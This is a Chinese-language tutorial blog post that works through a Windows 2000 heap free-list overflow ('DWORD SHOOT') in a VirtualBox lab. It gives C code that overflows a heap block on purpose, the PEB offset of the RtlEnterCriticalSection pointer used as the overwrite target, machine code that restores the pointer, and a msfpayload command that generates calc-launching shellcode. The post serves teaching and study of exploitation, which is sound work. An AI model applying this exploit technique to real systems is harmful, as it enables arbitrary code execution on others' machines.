堆溢出（二）空表DWORD SHOOT

0x000 环境

虚拟机 VirtualBox 5.0.20
系统 windows 2000 Kali linux
工具 VC++6.0 OllyDbg 1.10 汉化版 AsmToE v5.20

0x001堆溢出之空表

代码

2.  #include <stdio.h>
3.  #include <windows.h>
4.
5.  int main()
6.  {
7.      HANDLE hp;
8.      HLOCAL h1,h2,h3;
9.      char * buf;
10.
11.
12.     hp = HeapCreate(0,0x1000,0x10000);
13.
14.     __asm int 3
15.
16.     buf = (char *)HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
17.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
18.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
19.
20.     HeapFree(hp,0,h1);
21.
22.     strcpy(buf,"AAAAAAAABBBBBBBBCCCCDDDD");
23. //buf大小为8,而字符串的长度是('A'*8+'B'*8+'C'*4+'D'*4)24
24. //,这里会产生溢出
25. //其中'A'覆盖buf申请的空间，而'B'会覆盖下一个堆块的头（这里）
26.  h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT
27.   return 0;
28. }

空表溢出原理及现象分析
a) 编译程序，运行等等我在这里就不一一赘述了，上篇文章已经写的很明白了，溢这里主要就是讲堆出的原理和利用的方式。
b) 首先运行上面的程序，程序崩溃，进入OD调试，这和上篇文章的操作一样，断点的位置都是一样的，转到堆上。

c) 单步调试，直到堆块分配完毕，一共分配三块堆块（这是有原因的，首先堆是初始化的状态，所有分配的堆块都是从“尾块”分配，分配的地址是连续的，这对后期的堆溢出有很大帮助），从下图可以验证上述所说的内容，其中上面的就是三块新分配的堆块，下面的是尾块。

d) 继续单步调试结合源代码可以看出来，将第二块的堆块释放了，他被链接到了空表free2的上了，而这块堆块正是要被溢出的堆块，（同时这里解释一下第三个堆块的作用，防止发生堆块合并，如果没有第三块，那么在第二块的释放后，第二块会和后面的堆块发生合并，变成新的“尾块”，这里虽然不会影响堆溢出，但是现象不如现在的结果明显），具体现象如下图，其中选中部分是第二堆块，红色框分别为Flink和Blink指针。

e) 结合源代码可以看出来之后调用了strcpy函数，从分配的堆块大小可以看出发生了溢出，同时我也在旁边的位置标注了注释，可以很清楚的看出，溢出的位置和对应位置的数据，单步直到复制完毕，可以看到下图的变化，选中的部分是复制的数据，对比上面的图，可以看出来43（’C’）的位置就是Flink，而44(‘D’）就是Blink。

f) 下面直接运行程序，程序会断在下面的位置，我在这些位置做了注释，大家可以对照着看，分析一下堆块卸载的过程，可以分析出来，在堆块卸载的过程会将节点Flink的值写入Blink所指向的地址。
总结
通过对上面的小程序的调试和分析，我们从源代码和汇编的角度清楚的明白了空表溢出的原理及现象，并且可以知道空表堆溢出会造成一次任意地址写。

0x002 DWROD SHOOT代码植入

修改代码
将上面的代码修改成下面这样，大家可以结合注释来看，这个程序运行之后，附加调试器，最后会断在和上面程序一样的地址，就是要将43434343 写入地址44444444，这里的地址是不访问的所以断了下来，我们可以将44444444换成程序可以写入的地址，再将43434343设置成要写入的数据（比如shellcode的地址等），就可以完成DWORD SHOOT。(其中\x90 对应的指令是nop，跳到shellcode 中就可以滑行了)

1.  #include <stdio.h>
2.  #include <windows.h>
3.
4.  char shellcode[]=
5.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      //每行15个字节 一共304个\x90用来填充新申请的堆块，这里有个对齐
6.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
7.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
8.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
9.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
15. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
20. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
21. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
22. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
25. "\x90\x90\x90\x90"
26. "\x41\x41\x41\x41\x41\x41\x41\x41"      //  下一个堆块的头
27. "\x43\x43\x43\x43"                      //Flink
28. "\x44\x44\x44\x44"                      //Blink
29. ;
30.
31. int main()
32. {
33.     HANDLE hp;
34.     HLOCAL h1,h2,h3;
35.     char * buf;
36.
37.
38.     hp = HeapCreate(0,0x1000,0x10000);
39.
40.     __asm int 3
41.
42.     buf = (char *)HeapAlloc(hp,HEAP_ZERO_MEMORY,300);
43.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
44.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
45.
46.     HeapFree(hp,0,h1);
47.
48.     memcpy(buf,shellcode,0x200); //溢出点
49.
50.     h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT
51.
52.     return 0;
53. }

寻找DWORD SHOOT 地址
a) 确定DWORD SHOOT目标
《0day安全》中也说了很多的目标，我这里就选用这个函数RtlEnterCriticalSection（进入临界区的函数）为目标。
b) 通过OD确定RtlEnterCriticalSection地址
这里首先要了解一些知识（PEB和TEB）
PEB：进程环境块
TEB：线程环境块
（这里我也只说一些相关的知识，如果想深入理解个两个结构，可以上网搜索一些相关资料）
1）首先和上面一样运行程序，调试，附加OD后会断下来，在寄存器窗口，可以看到FS寄存器它存储的就是TEB的地址

2）它在PEB偏移为0x20的位置，而PEB在TEB结构中偏移0x30的位置，我们来查看一下（在OD下面的command中输入 dd 7ffde000数据窗口就会显示对应的数据），如下图偏移0x30的值是0x7ffdf000

3）同上查看PEB（在command中输入dd 7ffdf000 ）的结果如下图，红框的地方就是RtlEnterCriticalSection的地址，它在PEB偏移0x20的位置

c) 总结
至此，我们通过OD调试器找到了目标（RtlEnterCriticalSection）地址7ffdf020（当然在每个机子上地址将会不同，请大家自己动手调试），这里也记录一下这个地址上的数据，在后面的时候会用到。
查找shellcode的地址
因为最后shellcode 要复制到申请的第一个堆块中，所以找到第一个堆块的起始地址就行了，在我的电脑中的地址是0x00360688
再次修改代码
将刚才得到的shellcode地址放到Flink的位置，将存放RtlEnterCriticalSection函数的地址放到Blink的位置，在将shellcode从开始第八个字节之后的任意一个字节改成”\xcc”（至于为什么是8个字节之后，一会我在后面解释），这样相当于int 3 断点，这样可以使程序断下来，便于我们观察，具体修改结果如下图。
验证DWORD SHOOT
重新编译后再次调试程序，我这里直接F9运行，结果断了下来，在查看存放RtlEnterCriticalSection函数的地址0x7ffdf020，可以看到这个地址现在存放的就是0x00360688，就是之前Flink的值，而程序也跳的shellcode去执行了，这些都证明了DWORD SHOOT成功了，具体结果如下图。
完善生成并替换shellcode
恢复现场
我们修改了RtlEnterCriticalSection函数的地址，这很可能影响到系统的其他程序，所以在我们运行shellcode之前应该，将之前的数据恢复，之前我们也记录了正确的RtlEnterCriticalSection函数地址我们将它恢复回去。
我们可以使用下面三条的汇编指令实现
mov eax,77F89103h
mov ebx,7FFDF020h
mov dword ptr ds:[ebx],eax
使用AsmToE工具将汇编转换成机器码如下，
\xB8\x03\x91\xF8\x77\xBB\x20\xF0\xFD\x7F\x89\x03
生成shellcode
我这里使用Kali 系统的msfpayload生成了一个shellcode，命令如下：
msfpayload windows/exec CMD=”cmd /k calc” R|msfencode -e x86/shikata_ga_nai -b “\x00” -t c
替换shellcode
终极shellcode如下图：
注释掉断点运行结果如下图，可以看出来shellcode运行成功了，我们的攻击也成功了。
指针反射
这里讲一下之前为什么要求shellcode从第八个字节之后，在正式开始，我们可以先看一下DWORD SHOOT 之后第一个堆块里的变化，可以看到第四个字节之后写入了新的数据并不是之前的90，这是因为DOWRD SHOOT 发生在链表卸载的第一句上，第二句会继续执行，将Blink的值写入shellcode起始位置偏移加4的位置，好在大多是情况下不会影响shellcode的正常运行。
对”指针反射”的解决
这里也提出一个办法绕过可以使用下面的指令短跳转过这四个字节，他们的机器码为EB+偏移，shellcode修改如下图即可。

0x003 总结
经过这次实验，对上一节的堆结构更加深入的理解，同时对空表DWORD SHOOT 的利用有了更深入的了解，以后一定要多动手多练习，这样才能加深对知识的理解和利用，下一节我会动手多一下块表的DWORD SHOOT 的原理和利用。
0x004 参考书籍
[1]:《0day安全软件漏洞分析技术（第二版）》王清

堆溢出（二）空表DWORD SHOOT相关推荐

【缓冲区溢出】堆溢出原理
一.操作系统中堆和栈的区别堆内存申请,释放,操作,特点: 1. 堆内存申请环境:堆内存需要程序员在程序中申请 ,动态分配,申请的大小有程序决定. 2. 堆内存申请方法:C语言中的malloc() 函 ...
5.4 堆溢出利用（上）——DWORD SHOOT
目录一.预备知识二.实验环境三.实验代码四.实验步骤一.预备知识堆管理系统的三类操作:堆块分配.堆块释放和堆快合并归根结底都是对链表的修改.堆溢出利用的精髓就是用精心构造的数据溢出下一个堆 ...
堆溢出DWORD SHOOT原理
1.双向链表上有a.b.c一共3个连续的堆块,a.b.c三者之间的实际物理地址可能相差很大,但是绝对不会三者之间无其他字节,如果无其他字节,那表示他们三个可以合并成一个物理连接起来的大块,堆管理系统很 ...
堆溢出的DWORD Shoot核心原理-口语化
1.双向链表上有a.b.c一共3个连续的堆块,a.b.c三者之间的实际物理地址可能相差很大,但是绝对不会三者之间无其他字节,如果无其他字节,那表示他们三个可以合并成一个物理连接起来的大块,堆管理系统很 ...
malloc 结构体_二进制安全之堆溢出（系列）——堆基础 amp; 结构（二）
哈喽啊这里是二进制安全之堆溢出(系列)第二期"堆基础 & 结构"第二节!! 话不多说,直接上干货! 微观结构函数执行流程 void *malloc (size_t by ...
堆溢出攻击（XP SP2 - 2003）
微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而 ...
《0day安全》堆溢出利用（下）——代码植入
狙击 P.E.B 中 RtlEnterCritical-Section()的函数指针这里,我们不妨以0x7FFDF024处的RtlEnterCriticalSection()指针为目标,联系一下DW ...
【pwn学习】堆溢出（三）- Unlink和UAF
前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录什么是Unlink? Unlink如何利用? 加入错误检查什么是Use-After-free? 例题 ...
pwn学习总结（五） —— 堆溢出经典题型整理
pwn学习总结(五) -- 堆溢出经典题型整理 fastbin + 栈溢出 fastbin + 函数构造 fastbin + 堆执行 fastbin + malloc_hook fastbin + 栈 ...

堆溢出（二）空表DWORD SHOOT

0x000 环境

0x001堆溢出之空表

0x002 DWROD SHOOT代码植入

堆溢出（二）空表DWORD SHOOT相关推荐

最新文章

热门文章